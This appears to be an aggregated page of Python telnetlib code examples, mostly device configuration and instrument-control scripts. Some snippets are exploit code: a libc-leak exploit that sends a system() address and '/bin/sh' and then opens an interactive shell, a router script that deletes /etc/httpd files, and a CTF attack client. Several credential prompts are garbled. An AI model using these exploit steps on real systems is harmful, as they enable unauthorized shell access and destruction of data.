Exemple #1
0
import telnetlib
import gmpy2
from tqdm import tqdm, trange

r = telnetlib.Telnet('13.112.92.9', 21701)
# r = telnetlib.Telnet('127.0.0.1', 20974)
rline = lambda: r.read_until(b'\n')[:-1]

local = rline() == b'Local'
if local:
    realn = int(rline().decode('ascii'))
    rline()
encflag = rline()
print(f'[+] encrypted flag: {encflag}')


def hex(m):
    m = f'{m:x}'
    if len(m) & 1:
        m = '0' + m
    return m


def enc(m):
    r.write(b'A\n')
    r.write(f'{hex(m)}\n'.encode('ascii'))
    r.read_until(b'input: ')
    return int(rline().decode('ascii'), 16)


def dec(m):
Exemple #2
0
#!/home/phnxrc/anaconda2/bin/python

import sys
import time
import telnetlib
import datetime
# Note that in general, commands to do things do not respond in any way,
# but commands to query (?) do

terminal_server = 'serial1'
serk1_port = 1
serk1 = telnetlib.Telnet(terminal_server,4000+serk1_port)
   
serk1.write('*idn?\r')
time.sleep(0.05)
line = serk1.read_until('\r')
print line

print "on or off?"
serk1.write(':outp:stat?\r')
time.sleep(0.01)
line = serk1.read_until('\r')
print line

if int(line)==0:
 print "turning on the keithley.."
 serk1.write(':outp on\r')
 time.sleep(0.05)
else:
 print "Keithley is already ON"
 print "To reset new values, turn it OFF first"
Exemple #3
0
def telnet_connect(router_ip):
    print("[*] Connecting to telnet")
    with telnetlib.Telnet(router_ip, 22222) as tn:
        tn.write(b"rm /etc/httpd/A*sh*.gz\n")
        tn.interact()
import getpass
import sys
import telnetlib

HOST = "192.168.122.71"
user = raw_input("Enter your telnet username: "******"Username: "******"\n")
if password:
    tn.read_until("Password: "******"\n")

tn.write("enable\n")
tn.write("cisco\n")
tn.write("conf t\n")
tn.write("int loop 0\n")
tn.write("ip address 1.1.1.1 255.255.255.255\n")
tn.write("int loop 1\n")
tn.write("ip address 2.2.2.2 255.255.255.255\n")
tn.write("router ospf 1\n")
tn.write("network 0.0.0.0 255.255.255.255 area 0\n")
tn.write("end\n")
tn.write("exit\n")

print tn.read_all()

#!/usr/bin/python

HOST = "10.1.1.116"
PORT = 23
TIMEOUT = 3
PASSWD = "hsds"
COMMANDS = ["hsds","en","hsds","copy start tftp://10.1.1.51/labBsrCmts.cfg","",""]

import telnetlib

tn = telnetlib.Telnet(HOST, PORT, TIMEOUT)
#tn.set_debuglevel(1)
tn.write("\r\n\r\n")
for cmd in COMMANDS:
    tn.write(cmd+"\r\n")

print tn.read_until("#\r\n",3)

tn.close()
Exemple #6
0
import base64
import logging
import sys
from flask import *
import telnetlib

client = telnetlib.Telnet()


def connect_to_emulator(port=5554):
    try:
        client.open('localhost', port)
        print ' * Connected to emulator at ' + str(port)
    except:
        print "Failed to connect to emulator."
        sys.exit(0)


def change_location(latitude, longitude):
    client.write('geo fix %s %s\n' % (latitude, longitude))


app = Flask('location-emulator')


@app.route('/')
def index():
    return open('static/index.html').read()


@app.route('/send/<latitude>/<longitude>')
Exemple #7
0
 def connect(self):
     self.tn = telnetlib.Telnet("localhost", self.port)
Exemple #8
0
#!/usr/bin/python
# -*-coding:utf-8 -*-

import os
import time

import telnetlib

from subprocess import Popen, PIPE, call

#retcode = os.system("ssh [email protected]\n")
#print("retcode is: %s" % retcode);
Host = "172.31.162.38"
finish = "Username:"******"Password:"******"===")
tn.write(b'insieme\n')
print("===2")
tn.write(b'ls\n')
finish = "~]#"
print("===3")
    def run(self):
        if not self.enabled:
            self.log.info("[CUNO] CUNO Client disabled")
            return
        self.log.info("[CUNO] Starting CUNO Client")
        self.isRunning = True
        reConCount = 1
        tn = None
        lastCmdSend = datetime.now()
        while not (self.terminate):
            reConCount = reConCount - 1
            if reConCount == 0:
                waitTime = 20
                self.log.debug(
                    "[CUNO] (RE-)Connecting to CUNO Device at Host [%s], Port [%d]" % (self.host, self.port))
                if not (tn is None):
                    tn.close()
                try:
                    tn = telnetlib.Telnet(self.host, self.port)
                    reConCount = 900
                    tn.write("X21\n")
                except socket.timeout:
                    self.log.debug("[CUNO] Timeout while connecting to CUNO Device, will retry soon")
                    reConCount = 1
                    self.wakeup.wait(waitTime)
                    self.wakeup.clear()
                    waitTime = waitTime + 20
                    continue
                except socket.error, (value, message):
                    if value == 148:
                        self.log.error(
                            "[CUNO] No route to CUNO Device. Is the device running at address %s:%d ?" % (
                            self.host, self.port))
                    else:
                        self.log.error("[CUNO] %s" % (message))
                    self.terminate = True
                    continue
            # check for leftover shell cmds
            self.sensorDataHandler.checkForLeftOverProcesses()

            #
            try:
                fds = [tn.fileno(), self.controlPipe[0]]
                try:
                    ready = select.select(fds, [], [], 60)
                except select.error, (_errno, _strerror):
                    if _errno == errno.EINTR:
                        continue
                    else:
                        raise
                if len(ready[0]) == 0:
                    # timeout
                    pass
                elif tn.fileno() in ready[0]:
                    xx = tn.read_very_eager()
                    if len(xx) > 0:
                        # self.log.debug(xx)
                        for x in xx.split('\n'):
                            if len(x) != 0:
                                x = x.rstrip('\n').rstrip('\r')
                                try:
                                    self.parse(x)
                                except IndexError:
                                    pass
                                #if resp is not None:
                                #    tn.write(resp)
                elif self.controlPipe[0] in ready[0]:
                    os.read(self.controlPipe[0], 1)
                    if self.terminate:
                        continue
                now = datetime.now()
                while len(self.cmdQueue) > 0:
                    dta = self.cmdQueue.pop(0)
                    delta = datetime.now() - lastCmdSend
                    if delta.seconds < 2:
                        time.sleep(2 - delta.seconds)
                    self.log.debug("[CUNO] Sending command [%s]" % (dta.rstrip('\n').rstrip('\r')))
                    rpt = self.repeat
                    while rpt > 0:
                        rpt = rpt - 1
                        tn.write(dta)
                    lastCmdSend = now
                self.ctx.threadMonitor[self.__class__.__name__] = now
                self.ctx.checkThreads(now)
# Synopsis:  Demos PyEZ


from jnpr.junos import Device
import sys
from pprint import pprint
from getpass import getpass
import telnetlib
import time

passwordEntered = getpass('Enter password: '******'172.19.163.192')
tn.read_until("login: "******"\n")
tn.read_until("Password:"******"\n")
tn.read_until("> ", 50)
time.sleep(3)

tn.write(("show system uptime" + "\n")
tn.read_until("> ", 50)
time.sleep(3)
Exemple #11
0
    elif opt in ("-p", "--port"):
        port = int(arg)
    elif opt in ("-l", "--lamp"):
        lamp = arg
if len(args) > 0:
    filename = args[0]
else:
    print "Usage: load [OPTION] firmware.hex"
    print "Flash the firmware using a MLD to a moodlamp"
    print "  -h, --host=HOST     Connect to HOST. Default", host
    print "  -p, --port=PORT     Use remote port PORT. Default", port
    print "  -l, --lamp=LAMP     Reset LAMP before flashing."
    sys.exit(2)
    
file = open(filename,"r")
con = telnetlib.Telnet(host,port)
con.write("001\r\n")
s = con.read_until(">100", 10)
if s.endswith("100"):
    if lamp != -1:
        print "resetting lamp", lamp
        con.write("013 %d\r\n" % lamp)
        time.sleep(.1)
    print "setting mode to raw"
    con.write("006\r\n")
    s = con.read_until("106", 10)
    if s.endswith("106"):
        print "writing hex file"
        con.write("007\r\n")
        s = con.read_until("106", 10)
        if s.endswith("106"):
Exemple #12
0

def search(output):
    print('*' * 100)
    print('INSIDE THE SEARCH FUNCTION:------')
    print('THIS WILL PRINT ALL THE DIRECTORIES.....')
    print('*' * 100)

    output = output.split('\n')
    expr = r'^(d[-rwx]+)(.*)'

    for i in output:
        out = re.search(expr, i)
        if out:
            d = out.group(2).split(' ')[-1:]
            print('DIRECTORY NAME:-', d, '**', out.group(1))


h = input('Enter the Host to Login:-')
u = input('ENter the Username to Login:-')
p = getpass.getpass()
tn = tlib.Telnet(h)

output = connect_telnet(h, u, p, tn)
print('The final output:-')
print('*' * 100)
print(output)
print('*' * 100)

search(output)
    def __init__(self, time_offset, connection):
        self.time_offset = time_offset
        self.telnet_address = connection['telnet_address']
        self.telnet_port = connection['telnet_port']
        self.timeout = 2

        # HDF attributes generated when constructor is run
        self.new_attributes = []

        # shape and type of the array of returned data from ReadValue
        self.dtype = 'f8'
        self.shape = (2, )

        self.ESE_register = {
            0: "Operation Complete (OPC)",
            1: "Not Used",
            2: "Query Error (QYE)",
            3: "Device Dependent Error (DDE)",
            4: "Execution Error (EXE)",
            5: "Command Error (CME)",
            6: "Not Used",
            7: "Power On (PON)"
        }

        self.ESR_register = {
            0: "Operation Complete (OPC)",
            1: "Not Used",
            2: "Query Error (QYE)",
            3: "Device Dependent Error (DDE)",
            4: "Execution Error (EXE)",
            5: "Command Error (CME)",
            6: "Not Used",
            7: "Power On (PON)"
        }

        self.STB_register = {
            2: "A bit is set in the event status register.",
            3: "Errors are in the error queue.",
            5: "A bit is set in the questionable register."
        }

        self.QSR_register = {
            0:
            "The wavelenght has already ben read for the current scan.",
            1:
            "NA",
            2:
            "The previously requested calibration has failed.",
            3:
            "The power value is outside the valid range of the instrument.",
            4:
            "The temprature value is outside the valid range of the instrument.",
            5:
            "The wavelength value is outside the valid range of the instrument.",
            6:
            "NA",
            7:
            "NA",
            8:
            "NA",
            9:
            "The pressure value is outside the valid range of the instrument.",
            10:
            "Indicates that at least one bit is set in the Questionable Hardware Condition register."
        }

        self.QHC_register = {
            0: "Reference laser has not stabilized.",
            1: "NA",
            2: "NA",
            3: "NA",
            4: "NA",
            5: "NA",
            6: "NA",
            7: "NA",
            8: "NA",
            9: "NA",
            10: "NA",
            11: "NA",
            12: "NA",
            13: "NA",
        }

        self.SCPI_errors = {
            0: "No Error",
            -101: "Invalid character",
            -102: "Syntax error",
            -103: "Invalid separator",
            -104: "Data type error",
            -220: "Parameter error",
            -221: "Settings conflict",
            -222: "Data out of range",
            -230: "Data corrupt or stale"
        }

        try:
            self.instr = telnetlib.Telnet(self.telnet_address,
                                          int(self.telnet_port))
            # need to flush the first replies about the telnet connection
            for _ in range(3):
                resp = self.instr.read_until(
                    b'\n\n',
                    1).decode('ASCII').strip('\r\n\n').replace('\r\n', '')
                if resp == 'Sorry, no connections available, already in use?':
                    raise Bristol671Error("" + str(resp))
        except Exception as err:
            logging.warning("Error in initial connection to Bristol 671A : " +
                            str(err))
            self.verification_string = "False"
            self.instr = False
            self.__exit__()
            return None

        # make the verification string
        try:
            self.verification_string = self.QueryIDN()
        except Bristol671Error as err:
            logging.warning("Verification error : " + str(err))
            self.verification_string = "False"
Exemple #14
0
        break
    print("Enter the IP Address, Username, and Password")
    host = raw_input("masukan IP telnet:")
    user = raw_input("masukan username:"******"======================================")
    print("Silahkan Pilih konfigurasi")
    print("1. Change Hostname")
    print("2. Create Vlan")
    print("3. Show Vlan")
    print("4. Show Interface")
    print("======================================")

    tn = telnetlib.Telnet(host)
    tn.read_until("Username:"******"\n")
    if password:
        tn.read_until("Password:"******"\n")
        opt = raw_input("Enter the menu that you want: ")

    #option
    if opt == "1":
        tn.write("en\n")
        tn.read_until("Password:"******"1234\n")
        tn.write("configure terminal\n")
        hostname = raw_input("1. Enter the hostname : ")
        tn.write("hostname {}\n".format(hostname))
 def config_switch(self):
     trunk_vlan = 'none'
     if (self.transit_vlan != 'none' or self.transit_vlan_end != 'none'):
         transit_vlan_diapazone = str(self.transit_vlan) + '-' + str(
             self.transit_vlan_end)
         vlan_diapazone = str(self.vlan_first) + '-' + str(self.vlan_end)
         trunk_vlan = vlan_diapazone + ',' + transit_vlan_diapazone
     vlan_diapazone = str(self.vlan_first) + '-' + str(self.vlan_end)
     time.sleep(3)
     tn = telnetlib.Telnet(self.host_ip)
     time.sleep(5)
     tn.read_until(b"login:"******"Password:"******"Confirm to overwrite current startup-config configuration [Y/N]:"
     )
     tn.write(b'y\n')
     time.sleep(2)
     tn.write(b'show run\n')
     time.sleep(2)
     all_result = tn.read_very_eager().decode('utf-8')
     time.sleep(5)
     print(all_result)
     tn.close()
Exemple #16
0
s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 2222))
print "Received: ", s.recv(1000)  # "Enter input: "
print s.send(buf)
print "Received: ", s.recv(1000)  # "Recv: "
d = s.recv(1000)[-8:]

memset_addr_received = unpack("<Q", d)
memset_addr = memset_addr_received[0] - 0x90
print "memset() is at ", hex(memset_addr)

libc_addr = memset_addr - memset_offset
print "libc is at ", hex(libc_addr)

system_addr = libc_addr + system_offset
print "system is at ", hex(system_addr)

print "sending system address ", hex(system_addr)
s.send(pack("<Q", system_addr))

print "sending '/bin/sh'"
s.send("/bin/sh")

f = open("in.txt", "w")
f.write(buf)
f.close()

t = telnetlib.Telnet()
t.sock = s
t.interact()
Exemple #17
0
def final_interact():
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
	def __init__(self, host, port, timeout = 3):
		self.__tn = telnetlib.Telnet(host, port, timeout)

		id_string = self.__read_line()
		if id_string == 'TS3':
			self.__read_line()
Exemple #19
0
#!/usr/bin/env python

import sys
import telnetlib
import time

HOST = "localhost"

tn = telnetlib.Telnet(HOST, 5554)

print "Setting location, press CTRL+C to stop"

tn.write("auth QP6FvWSX4G/bd6o8\n")
tn.write("geo fix 121.541518 25.019428\n")
time.sleep(5)
tn.write("geo fix 121.538439 25.019731\n")
time.sleep(5)
tn.write("geo fix 121.540133 25.01799\n")
time.sleep(10)
tn.write("geo fix 121.534694 25.0142002\n")
time.sleep(5)

tn.close()
def swTop():
    switch1_IP = "192.168.1.100"
    connection = telnetlib.Telnet(switch1_IP, 5000)
    connection.interact()
Exemple #21
0
 def handshake(self):
     self.__socket = telnetlib.Telnet('localhost', 4121)
     return self.__socket.read_until('>')
def router8():
    switch1_IP = "192.168.35.25"
    connection = telnetlib.Telnet(switch1_IP, 5001)
    connection.interact()
Exemple #23
0
import getpass
import sys
import telnetlib

HOST = "192.168.10.158"
user = raw_input("Enter your username:"******"Username:"******"\n")
if password:
    tn.read_until("Password:"******"\n")

tn.write("conf t\n")
tn.write("int lo 0\n")
tn.write("ip add 1.1.1.1 255.255.255.255\n")
tn.write("end\n")
tn.write("exit\n")

print tn.read_all()
def switch2():
    switch1_IP = "192.168.35.22"
    connection = telnetlib.Telnet(switch1_IP, 5001)
    connection.interact()
Exemple #25
0
 def shell(self):
     tel = telnetlib.Telnet()
     tel.sock = self.sock
     _xinteract(tel)
def switch6():
    switch1_IP = "192.168.35.24"
    connection = telnetlib.Telnet(switch1_IP, 5003)
    connection.interact()
Exemple #27
0
#Telnet RouterOs & Run Command v0.1
import telnetlib,time
#config_user_password_port_etc.
HOST='192.168.137.163'
PORT='23'
user= '******'
password= ''
command_1='ip address print'
command_3='quit'

tn=telnetlib.Telnet(HOST,PORT)
tn = telnetlib.Telnet(HOST)
#input user
tn.read_until(b"Login: "******"\n")
#input password
tn.read_until(b"Password: "******"\n")

tn.read_until(b'>')
tn.write(command_1.encode('UTF-8')+b"\r\n")
time.sleep(3)
tn.read_until(b'>')
tn.write(command_3.encode('UTF-8')+b"\r\n")

print(tn.read_all())
tn.close()
def switch7():
    switch1_IP = "192.168.35.25"
    connection = telnetlib.Telnet(switch1_IP, 5002)
    connection.interact()
Exemple #29
0
def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()
Exemple #30
0
    def __enter__(self):
        self.telnet = telnetlib.Telnet(self.host, self.port, 1)

        return self.telnet